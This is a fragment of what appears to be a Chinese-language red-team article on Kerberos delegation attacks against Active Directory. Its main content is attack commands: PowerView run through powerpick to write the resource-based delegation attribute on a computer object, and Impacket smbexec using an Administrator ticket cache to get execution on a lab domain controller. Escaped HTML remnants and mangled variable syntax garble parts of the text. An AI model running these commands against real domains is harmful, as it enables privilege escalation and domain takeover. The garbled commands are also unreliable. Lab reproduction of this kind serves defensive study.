本文综合了目前网络上绝大部分的委派攻击方法，包括非约束性委派、约束性委派和基于资源的约束性委派三种，文中给出了详细的攻击思路、攻击命令和工具下载链接，读者可以自行搭建域环境进行复现测试，第五章中给出委派攻击的防范措施和一种绕过手段。最后，笔者才疏学浅有错误望指出~
<\/p>

<\/p>

powershell-import PowerView.ps1<\/p>

powerpick \(SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1108)";\)<\/span>SDBytes = New-Object byte[] (\(SD.BinaryLength);\)<\/span>SD.GetBinaryForm(\(SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=\)<\/span>SDBytes} -Verbose

# 查询属性(后一条命令使用到了ActiveDirectory模块，域控默认带)
powerpick Get-DomainComputer SERVER2012 -Properties msds-allowedtoactonbehalfofotheridentity<\/p>

<\/p>

export KRB5CCNAME=Administrator.ccache<\/p>

python3 smbexec.py -k administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20<\/p>

KRB5CCNAME=Administrator.ccache | python3 smbexec.py -k administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20
<\/p>